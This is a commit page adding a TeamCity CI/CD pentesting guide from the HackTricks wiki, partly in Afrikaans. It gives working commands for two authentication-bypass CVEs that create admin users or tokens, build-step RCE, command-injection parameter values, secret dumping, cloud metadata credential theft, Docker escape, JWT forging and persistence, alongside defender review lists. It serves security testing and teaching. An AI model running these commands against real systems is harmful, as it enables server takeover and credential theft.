mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-ci-cd/teamcity-security/README.md'] to af
This commit is contained in:
@@ -0,0 +1,650 @@
|
||||
# TeamCity Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
[TeamCity](https://www.jetbrains.com/teamcity/) is JetBrains' CI/CD server. It can run as **TeamCity Cloud** or as **TeamCity On-Premises**. In real environments the on-premises product is the most interesting target because it is commonly connected to private repositories, deployment credentials, internal networks, and cloud build agents.
|
||||
|
||||
A TeamCity installation is usually composed of:
|
||||
|
||||
- **TeamCity server**: the Java web application and scheduler. It stores users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, and integrations. The default HTTP port is **8111**.
|
||||
- **Projects and subprojects**: containers for build configurations, templates, parameters, VCS roots, connections, and permissions.
|
||||
- **Build configurations**: jobs that define VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, and artifact dependencies.
|
||||
- **Pipelines / Kotlin DSL / XML settings**: build configuration can be managed in the UI or stored in VCS, commonly in a `.teamcity/` directory using Kotlin DSL.
|
||||
- **Build agents**: worker machines that poll the server, checkout code, receive build settings and secrets, run build steps, and publish logs/artifacts back to the server. An agent normally runs one build at a time and can be physical, VM, container, or cloud-launched.
|
||||
- **Agent pools**: a way to restrict which projects can run on which agents. This is critical when public/untrusted builds and production deployment builds coexist.
|
||||
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, and other repository integrations. These often hold PATs, refreshable tokens, SSH keys, or OAuth-backed tokens.
|
||||
- **Build parameters**: values available to configurations and builds. `env.*` parameters become environment variables, `system.*` parameters become system properties, and password parameters are masked but still usable by build code.
|
||||
|
||||
> [!WARNING]
|
||||
> TeamCity itself documents that users who can change code executed by builds can do what the build-agent OS user can do, access resources on the agent, retrieve settings of configurations where their builds run, and potentially affect other projects sharing the same agent.
|
||||
|
||||
## Interessante Poorte, Paaie & Lêers
|
||||
```bash
|
||||
# Common TeamCity web ports
|
||||
8111/tcp # Default HTTP TeamCity server
|
||||
80/tcp # Often reverse-proxied TeamCity
|
||||
443/tcp # HTTPS reverse proxy or configured HTTPS
|
||||
```
|
||||
Interessante URLs:
|
||||
```text
|
||||
/login.html
|
||||
/app/rest/server
|
||||
/app/rest/swagger.json
|
||||
/guestAuth/app/rest/server
|
||||
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
|
||||
/admin/admin.html
|
||||
/admin/diagnostic.jsp
|
||||
/admin/agents.html
|
||||
/admin/plugins.html
|
||||
```
|
||||
Interessante plaaslike paths na server compromise:
|
||||
```text
|
||||
# Linux defaults seen in common installs
|
||||
/opt/TeamCity/logs/
|
||||
/opt/TeamCity/webapps/ROOT/plugins/
|
||||
/home/teamcity/.BuildServer/config/
|
||||
/home/teamcity/.BuildServer/plugins/
|
||||
/home/teamcity/.BuildServer/system/artifacts/
|
||||
/home/teamcity/.BuildServer/system/buildserver.data
|
||||
|
||||
# Windows defaults seen in common installs
|
||||
C:\TeamCity\logs\
|
||||
C:\TeamCity\webapps\ROOT\plugins\
|
||||
C:\ProgramData\JetBrains\TeamCity\config\
|
||||
C:\ProgramData\JetBrains\TeamCity\plugins\
|
||||
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
|
||||
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
|
||||
```
|
||||
Interessante local paths na agent-kompromittering:
|
||||
```text
|
||||
<AGENT_HOME>/conf/buildAgent.properties
|
||||
<AGENT_HOME>/logs/
|
||||
<AGENT_HOME>/work/
|
||||
<AGENT_HOME>/temp/
|
||||
<AGENT_HOME>/system/
|
||||
~/.git-credentials
|
||||
~/.ssh/
|
||||
~/.docker/config.json
|
||||
~/.npmrc
|
||||
~/.m2/settings.xml
|
||||
~/.aws/
|
||||
~/.config/gcloud/
|
||||
```
|
||||
## TeamCity Permissions To Care About
|
||||
|
||||
Die presiese permission model kan aangepas word, maar die belangrike verstekrolle is:
|
||||
|
||||
- **System Administrator**: volledige server control. Neem aan server OS compromise is moontlik omdat admins server settings kan verander, plugins kan oplaai, en diagnostics kan access.
|
||||
- **Project Administrator**: control 'n project en kan gewoonlik build configurations, parameters, VCS roots, features, triggers, en agent requirements binne daardie project skep/edit.
|
||||
- **Project Developer**: kan gewoonlik configuration settings view, builds run, en met build results interaksie hê. Dit kan steeds sensitief wees omdat configuration settings en runtime data dikwels secrets disclose.
|
||||
- **Project Viewer / Guest**: read-only access kan steeds build logs, artifacts, project names, branch names, internal hostnames, en dependency paths expose.
|
||||
|
||||
> [!TIP]
|
||||
> Tydens 'n pentest, moenie by "low-privileged TeamCity user" stop nie. Check of daardie user custom builds kan run, branches kan select, parameters kan customize, settings kan view, runtime parameters kan view, artifacts kan download, of deployment configurations kan trigger.
|
||||
|
||||
## Initial Enumeration
|
||||
|
||||
### Fingerprint Exposed TeamCity
|
||||
```bash
|
||||
export TC="http://teamcity.example.com:8111"
|
||||
|
||||
curl -i "$TC/login.html"
|
||||
curl -i "$TC/app/rest/server"
|
||||
curl -i "$TC/guestAuth/app/rest/server"
|
||||
curl -s "$TC/app/rest/swagger.json" | head
|
||||
```
|
||||
Nuttige tekens:
|
||||
|
||||
- `TeamCity-Node-Id` HTTP-header.
|
||||
- Login page-branding.
|
||||
- `/app/rest/server` gee `401` terug wanneer verifikasie vereis word.
|
||||
- `/guestAuth/app/rest/server` werk as guest access geaktiveer is.
|
||||
|
||||
### REST API Enumeration With A Token
|
||||
|
||||
TeamCity REST API gebruik gewoonlik `Authorization: Bearer <token>`.
|
||||
```bash
|
||||
export TC="https://teamcity.example.com"
|
||||
export TCTOKEN="TC..."
|
||||
|
||||
alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
|
||||
|
||||
tcurl "$TC/app/rest/server"
|
||||
tcurl "$TC/app/rest/users/current"
|
||||
tcurl "$TC/app/rest/users/current/roles"
|
||||
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
|
||||
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
|
||||
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/agentPools"
|
||||
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
|
||||
```
|
||||
Vir 'n build configuration:
|
||||
```bash
|
||||
export BT="id:Project_Build"
|
||||
|
||||
tcurl "$TC/app/rest/buildTypes/$BT"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/steps"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/features"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
|
||||
```
|
||||
### Gasthertoegang-misbruik
|
||||
|
||||
As gas-aanmelding geaktiveer is, ondersteun TeamCity `/guestAuth/`-URL's. By verstek het gasgebruikers die Project Viewer-rol vir alle projekte, tensy dit verander is.
|
||||
```bash
|
||||
curl -sk "$TC/guestAuth/app/rest/projects"
|
||||
curl -sk "$TC/guestAuth/app/rest/buildTypes"
|
||||
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
|
||||
```
|
||||
Soek vir:
|
||||
|
||||
- Build logs met geheime wat per ongeluk uitgeprint is.
|
||||
- Artefakte wat `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, of internal URLs bevat.
|
||||
- Project/build name wat cloud account name, production systems, regions, of internal service names onthul.
|
||||
- Commit metadata wat privileged developers of service users identifiseer.
|
||||
|
||||
Voorbeeld van artifact download-formaat:
|
||||
```bash
|
||||
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
|
||||
```
|
||||
## Aanvalle
|
||||
|
||||
### Ongeauthentiseerde Oorname: CVE-2024-27198 / CVE-2024-27199
|
||||
|
||||
TeamCity On-Premises weergawes **tot 2023.11.3** is geraak deur twee authentication bypasses wat in **2023.11.4** reggemaak is. CVE-2024-27198 is die kritieke een omdat dit geauthentiseerde REST endpoints aan ongeauthentiseerde attackers kan blootstel.
|
||||
|
||||
Fingerprint die bypass met 'n harmless geauthentiseerde endpoint:
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
|
||||
```
|
||||
As server metadata sonder verifikasie teruggestuur word, is die instance kwesbaar. ’n Algemene takeover-pad is om ’n admin user te skep of ’n token vir ’n bestaande admin user te mint:
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
|
||||
```
|
||||
Na dit, gaan voort as 'n geverifieerde TeamCity-administrateur: enumereer projects, versamel secrets, voer builds op agents uit, inspekteer artifacts, en kyk cloud access vanaf agents.
|
||||
|
||||
### Unauthenticated Takeover: CVE-2023-42793
|
||||
|
||||
TeamCity On-Premises weergawes voor **2023.05.4** was geraak deur CVE-2023-42793. Die praktiese impak was unauthenticated administrator-level access en RCE deur TeamCity APIs. Die wyd misbruikte pad het token creation behels deur 'n route wat eindig in `/RPC2`.
|
||||
```bash
|
||||
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
|
||||
```
|
||||
As jy 'n incident-impak assesseer, kyk vir verdagte token-skepping, admin-rekening-skepping, plugin upload/delete events, en process execution rondom die blootstellingsvenster.
|
||||
|
||||
### Admin RCE By Uploading A Plugin
|
||||
|
||||
TeamCity server plugins is ZIP packages that extend server functionality. A System Administrator can upload a plugin from the UI onder **Administration -> Plugins**, dit laai, en server-side Java code execute.
|
||||
|
||||
Abuse cases:
|
||||
|
||||
- Upload a malicious plugin for direct RCE on the **TeamCity server**, not just an agent.
|
||||
- Use plugin load/delete as a short-lived execution path.
|
||||
- Establish persistence through a plugin that looks like an internal integration.
|
||||
|
||||
Evidence to inspect:
|
||||
```text
|
||||
teamcity-activities.log
|
||||
teamcity-server.log
|
||||
<TeamCity Data Directory>/plugins/
|
||||
<TeamCity Data Directory>/config/disabled-plugins.xml
|
||||
<TeamCity Data Directory>/system/caches/plugins.unpacked/
|
||||
<TeamCity Home>/webapps/ROOT/plugins/
|
||||
```
|
||||
### RCE Deur Boustappe Te Skep Of Te Wysig
|
||||
|
||||
As jy 'n build configuration kan skep of wysig, is 'n TeamCity agent jou command execution-teiken. Die **Command Line / Script** runner is die mees direkte opsie.
|
||||
|
||||
Voeg 'n command line-stap by via REST:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"name": "diagnostics",
|
||||
"type": "simpleRunner",
|
||||
"properties": {
|
||||
"property": [
|
||||
{"name": "script.content", "value": "id; uname -a; env | sort"}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Begin die build:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{"buildType":{"id":"Project_Build"}}'
|
||||
```
|
||||
Nuttige eerste commands op 'n agent:
|
||||
```bash
|
||||
id
|
||||
hostname
|
||||
pwd
|
||||
env | sort
|
||||
mount
|
||||
ip addr || ifconfig
|
||||
ip route || route print
|
||||
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
|
||||
```
|
||||
Windows agents:
|
||||
```powershell
|
||||
whoami /all
|
||||
hostname
|
||||
Get-ChildItem Env: | Sort-Object Name
|
||||
ipconfig /all
|
||||
route print
|
||||
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
|
||||
```
|
||||
### Teiken 'n Meer Interessante Agent
|
||||
|
||||
Build-konfigurasies kan agentvereistes hê, en custom builds mag toelaat dat 'n spesifieke agent gekies word. Dit maak saak wanneer een agent produksie-netwerk bereikbaarheid, Docker-toegang, mobile signing keys, cloud roles, of deployment tooling het.
|
||||
|
||||
Enumeer versoenbare agents:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
|
||||
```
|
||||
Stel 'n build op 'n spesifieke agent in die ry as jou toestemmings dit toelaat:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
|
||||
```
|
||||
Of voeg ’n agent-vereiste by om ’n waardevolle agentklas af te dwing:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"type":"equals",
|
||||
"properties":{"property":[
|
||||
{"name":"property-name","value":"teamcity.agent.name"},
|
||||
{"name":"property-value","value":"prod-deploy-agent-01"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
### Dump Build Parameters & Password Parameters
|
||||
|
||||
Parameters word geërf van projects en templates, so enumerate both project en build configuration scopes:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/projects/id:Project/parameters"
|
||||
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
|
||||
```
|
||||
Interessante name:
|
||||
```text
|
||||
env.AWS_ACCESS_KEY_ID
|
||||
env.AWS_SECRET_ACCESS_KEY
|
||||
env.GITHUB_TOKEN
|
||||
env.NPM_TOKEN
|
||||
env.DOCKER_AUTH_CONFIG
|
||||
system.deploy.password
|
||||
system.oauth.clientSecret
|
||||
vcsroot.<id>.password
|
||||
teamcity.configuration.properties.file
|
||||
```
|
||||
Belangrike voorbehoude:
|
||||
|
||||
- Wagwoordparameters word in UI/logs gemasker, maar enige kode wat hulle wettig ontvang, kan hulle exfiltreer of omskep.
|
||||
- Projekadministrateurs kan dikwels rou parametwaardes herwin deur toegang tot instellings.
|
||||
- TeamCity-sekuriteitsnotas waarsku dat gebruikers wat build-kode kan wysig, wagwoordwaardes wat deur daardie build gebruik word, kan herwin.
|
||||
- As weergawe-instellings in VCS gestoor word, kan gebruikers met toegang tot die instellings-repo waardes herwin uit scrambled/encrypted instellings, afhangend van die bediener se encryption-konfigurasie en keys blootstelling.
|
||||
|
||||
Build-step exfil pattern:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import base64, os, json
|
||||
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
|
||||
print(base64.b64encode(json.dumps(interesting).encode()).decode())
|
||||
PY
|
||||
```
|
||||
### Poison Versioned Settings / Kotlin DSL
|
||||
|
||||
As versioned settings geaktiveer is en jy kan skryf na die branch/repository wat TeamCity vir `.teamcity/` vertrou, kan jy die pipeline-definisie self wysig.
|
||||
|
||||
Tipiese teikens:
|
||||
|
||||
- Voeg ’n nuwe `script`-stap by ’n build configuration.
|
||||
- Verander `agentRequirements` om op ’n meer bevoorregte agent te loop.
|
||||
- Voeg artifact rules by om sensitiewe lêers te publish.
|
||||
- Voeg snapshot/artifact dependencies by om data van ’n ander build te trek.
|
||||
- Voeg VCS triggers by vir persistence.
|
||||
- Verander VCS roots of checkout rules.
|
||||
|
||||
Minimal Kotlin DSL malicious step:
|
||||
```kotlin
|
||||
import jetbrains.buildServer.configs.kotlin.*
|
||||
import jetbrains.buildServer.configs.kotlin.buildSteps.script
|
||||
|
||||
object Build : BuildType({
|
||||
name = "Build"
|
||||
steps {
|
||||
script {
|
||||
name = "diagnostics"
|
||||
scriptContent = "id; env | base64"
|
||||
}
|
||||
}
|
||||
})
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Dit is een van die hoogste-impak TeamCity misconfigurations: om build settings in dieselfde repository as application source te stoor beteken enigiemand wat daardie source branch kan verander, mag dalk die CI/CD control plane kan verander.
|
||||
|
||||
### Pull Request / Untrusted Build Abuse
|
||||
|
||||
TeamCity kan pull requests bou vanaf GitHub, GitLab, Bitbucket, Azure DevOps, en JetBrains Space. As ’n public repository ingestel is om pull requests vanaf **Everybody** te bou, kan ’n external attacker code execution op ’n TeamCity agent kry deur ’n PR oop te maak.
|
||||
|
||||
Kyk vir:
|
||||
|
||||
- Pull Requests build feature met permissive author filters.
|
||||
- VCS triggers wat pull request branches soos `refs/pull/*` pas.
|
||||
- Vermiste of gedeaktiveerde **Untrusted Builds** review.
|
||||
- PR builds wat op dieselfde pools as trusted/prod builds loop.
|
||||
- Password parameters of deployment credentials beskikbaar vir PR builds.
|
||||
- Versioned settings wat vanaf PR branches gelaai word.
|
||||
|
||||
Abuse primitives from untrusted code:
|
||||
```bash
|
||||
env | sort
|
||||
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
|
||||
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
|
||||
```
|
||||
Kyk ook na build-skripte wat PR-beheerde waardes interpoleer:
|
||||
```text
|
||||
%teamcity.pullRequest.title%
|
||||
%teamcity.pullRequest.source.branch%
|
||||
%teamcity.pullRequest.target.branch%
|
||||
%teamcity.build.branch%
|
||||
```
|
||||
As daardie waardes in shell, PowerShell, SQL, Docker tags, package names, of deployment arguments ingevoeg word sonder aanhaling/validasie, toets command injection en logic manipulation.
|
||||
|
||||
### Run Custom Build Parameter Injection
|
||||
|
||||
Gebruikers wat nie ’n build configuration kan wysig nie, kan moontlik steeds custom builds met gewysigde branch-, agent- of parameterwaardes run.
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"buildType":{"id":"Project_Build"},
|
||||
"branchName":"refs/heads/attacker-controlled-branch",
|
||||
"properties":{"property":[
|
||||
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
|
||||
{"name":"system.release.version","value":"1.2.3$(id)"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
Soek vir scripts soos:
|
||||
```bash
|
||||
deploy --env %env.DEPLOY_ENV%
|
||||
docker build -t registry/app:%system.release.version% .
|
||||
git checkout %teamcity.build.branch%
|
||||
```
|
||||
### Service Message Abuse
|
||||
|
||||
TeamCity parseer spesiaal geformateerde output van build steps. As aanvaller-beheerde kode in ’n build loop, kan dit latere steps en die server se begrip van die build beïnvloed.
|
||||
|
||||
Nuttige messages:
|
||||
```bash
|
||||
# Publish arbitrary files as artifacts
|
||||
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
|
||||
|
||||
# Modify parameters for following steps
|
||||
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
|
||||
|
||||
# Poison the build number displayed/published downstream
|
||||
echo "##teamcity[buildNumber '9999-backdoored']"
|
||||
|
||||
# Hide noisy output in collapsed blocks
|
||||
echo "##teamcity[blockOpened name='integration tests']"
|
||||
echo "##teamcity[blockClosed name='integration tests']"
|
||||
```
|
||||
Dit word gevaarliker wanneer downstream release jobs build status, build number, tags, artifact names, of output parameters van 'n upstream job vertrou.
|
||||
|
||||
### Artifact & Dependency Poisoning
|
||||
|
||||
TeamCity build chains skuif dikwels artifacts tussen builds. As jy 'n upstream build kan beïnvloed wat artifacts publiseer wat deur 'n privileged downstream build gebruik word, probeer om te poison:
|
||||
|
||||
- JAR/WAR/NuGet/npm/PyPI packages.
|
||||
- Docker build contexts.
|
||||
- Terraform plan files.
|
||||
- Helm charts en Kubernetes manifests.
|
||||
- SBOM/provenance files.
|
||||
- Test fixtures of generated code wat deur later steps gebruik word.
|
||||
|
||||
Publiseer 'n controlled artifact vanaf 'n build:
|
||||
```bash
|
||||
mkdir -p out
|
||||
cp payload.jar out/app.jar
|
||||
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
|
||||
```
|
||||
Dan inspect artifact dependencies:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||
```
|
||||
### Agent Cloud Pivoting
|
||||
|
||||
As die agent in AWS, Azure, GCP, Kubernetes, of ’n interne VM-netwerk loop, is die build ’n pivot point.
|
||||
|
||||
AWS IMDS:
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||
```
|
||||
Fallback as IMDSv1 toegelaat word:
|
||||
```bash
|
||||
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||
```
|
||||
Azure IMDS:
|
||||
```bash
|
||||
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
GCP metadata:
|
||||
```bash
|
||||
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
|
||||
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
|
||||
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
|
||||
```
|
||||
Kubernetes:
|
||||
```bash
|
||||
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
```
|
||||
Docker escape kontroles:
|
||||
```bash
|
||||
ls -la /var/run/docker.sock
|
||||
docker ps
|
||||
docker run --rm -it -v /:/host alpine chroot /host sh
|
||||
```
|
||||
### Pivot Na Interne Dienste
|
||||
|
||||
Build agents het dikwels bereikbaarheid na package registries, artifact stores, deployment APIs, databases, en interne admin panels.
|
||||
```bash
|
||||
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
|
||||
echo "### $h"
|
||||
curl -sk --connect-timeout 2 "https://$h/" | head
|
||||
done
|
||||
```
|
||||
Nadat ’n gedeelde JWT/HMAC-secret van TeamCity parameters, cloud secret stores, artifacts, of repo files gesteel is, forge tokens vir swak interne services:
|
||||
```python
|
||||
import jwt, time
|
||||
secret = "leaked-hs256-secret"
|
||||
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
|
||||
print(jwt.encode(payload, secret, algorithm="HS256"))
|
||||
```
|
||||
### VCS Root & Repository Credential Abuse
|
||||
|
||||
VCS roots en connections is dikwels meer waardevol as TeamCity self.
|
||||
|
||||
Kyk vir:
|
||||
|
||||
- HTTP(S) VCS roots wat username/password of PAT gebruik.
|
||||
- SSH private keys wat na TeamCity opgelaai is.
|
||||
- GitHub App / OAuth / refreshable token connections.
|
||||
- Commit Status Publisher tokens.
|
||||
- Pull Request feature tokens.
|
||||
- Build steps wat na repositories, tags, releases, packages, of workflow files skryf.
|
||||
|
||||
REST enumeration:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/projects/id:Project/features"
|
||||
```
|
||||
Na-kompromie impak:
|
||||
|
||||
- Push kwaadwillige commits/tags na repositories.
|
||||
- Move release tags.
|
||||
- Publish kwaadwillige package-weergawes.
|
||||
- Lees private repos waartoe die tester oorspronklik nie toegang gehad het nie.
|
||||
- Voeg CI/CD config by vir nog ’n platform soos GitHub Actions.
|
||||
- Open/merge PRs met behulp van die service identity as dit write access het.
|
||||
|
||||
### Debug & Diagnostics Endpoints
|
||||
|
||||
Sommige gevaarlike debug funksionaliteit word beskerm deur admin permissions en interne properties. As dit geaktiveer is, kan dit die TeamCity database of process execution blootstel.
|
||||
|
||||
Voorbeeld van database query setting:
|
||||
```properties
|
||||
rest.debug.database.allow.query.prefixes=select
|
||||
```
|
||||
As dit geaktiveer is, kan ’n admin-token interne data navraag:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
|
||||
-H "Authorization: Bearer $TCTOKEN"
|
||||
```
|
||||
Ook inspekteer of `/app/rest/debug/processes` bereikbaar is vir jou rol. Behandel enige geaktiveerde debug-endpoint as 'n moontlike direkte server compromise-pad.
|
||||
|
||||
### Agent-Server Trust & Rogue Agent Angles
|
||||
|
||||
Agents poll die server en ontvang build settings, repository sources, access credentials/keys, build logs, en artifact data. As agent-to-server communication plain HTTP is of 'n attacker die network path beheer, kan secrets en source code blootgestel word.
|
||||
|
||||
Check:
|
||||
```bash
|
||||
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
|
||||
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
|
||||
```
|
||||
Misbruikpaaie:
|
||||
|
||||
- Kompromitteer een agent en inspekteer werkgidse vir ander projekte as agents hergebruik word.
|
||||
- Wysig uitgecheckte bronkode of gekaste afhanklikhede vir latere builds as clean checkout nie afgedwing word nie.
|
||||
- Steel die agent authorization token/konfigurasie.
|
||||
- Registreer 'n rogue agent as jy permissions het om project agents te authorize of as admins nuwe agents outomaties authorize.
|
||||
- Doen jou voor as 'n bestaande agent vanaf 'n compromised host.
|
||||
|
||||
### Logs, Artifacts & Data Directory As Secrets
|
||||
|
||||
TeamCity security notes waarsku uitdruklik dat leestoegang tot die TeamCity Data Directory, server logs, of build artifacts secrets kan blootstel of tot administrator escalation kan lei.
|
||||
|
||||
Een spesifieke escalation path is **Super User Access**: TeamCity kan login as 'n system administrator toelaat met 'n token wat na `teamcity-server.log` geskryf word. As logs na 'n swak beskermde log platform gestuur word of leesbaar is vir nie-admin OS users, soek vir super-user tokens.
|
||||
|
||||
Hunt:
|
||||
```bash
|
||||
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
|
||||
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
|
||||
```
|
||||
Bou-logs bevat dikwels:
|
||||
|
||||
- Uitgebreide command lines.
|
||||
- Mislukte deployment commands met credentials in arguments.
|
||||
- Docker login output.
|
||||
- npm/pip/maven publishing errors.
|
||||
- Cloud CLI debug output.
|
||||
- Interne service URLs.
|
||||
|
||||
### Persistence Ideas
|
||||
|
||||
Nuttige persistence techniques tydens 'n gemagtigde red team assessment:
|
||||
|
||||
- Skep 'n access token met 'n geloofwaardige naam onder 'n service/admin user.
|
||||
- Voeg 'n low-noise build trigger by 'n selde nagekykte configuration.
|
||||
- Voeg 'n project parameter by wat deur 'n bestaande deployment step gebruik word.
|
||||
- Voeg 'n versteekte of disabled build step by wat later weer geaktiveer kan word.
|
||||
- Voeg 'n nuwe VCS root of connection by onder 'n legitieme project.
|
||||
- Voeg 'n plugin by wat soos 'n interne integration lyk.
|
||||
- Voeg 'n nuwe agent pool / cloud profile / agent requirement by wat builds na attacker-controlled infrastructure roteer.
|
||||
- Wysig Kotlin DSL in 'n settings repository.
|
||||
|
||||
Things defenders should review after a TeamCity compromise:
|
||||
```text
|
||||
teamcity-activities.log
|
||||
teamcity-server.log
|
||||
teamcity-javaLogging*.log
|
||||
User access tokens
|
||||
Recently created users/groups/roles
|
||||
Plugin upload/load/delete events
|
||||
Build configuration diffs
|
||||
Versioned settings commits
|
||||
VCS root credential changes
|
||||
Agent authorization changes
|
||||
Build triggers and schedules
|
||||
Suspicious artifact publications
|
||||
```
|
||||
## Verhardingskontrolelys
|
||||
|
||||
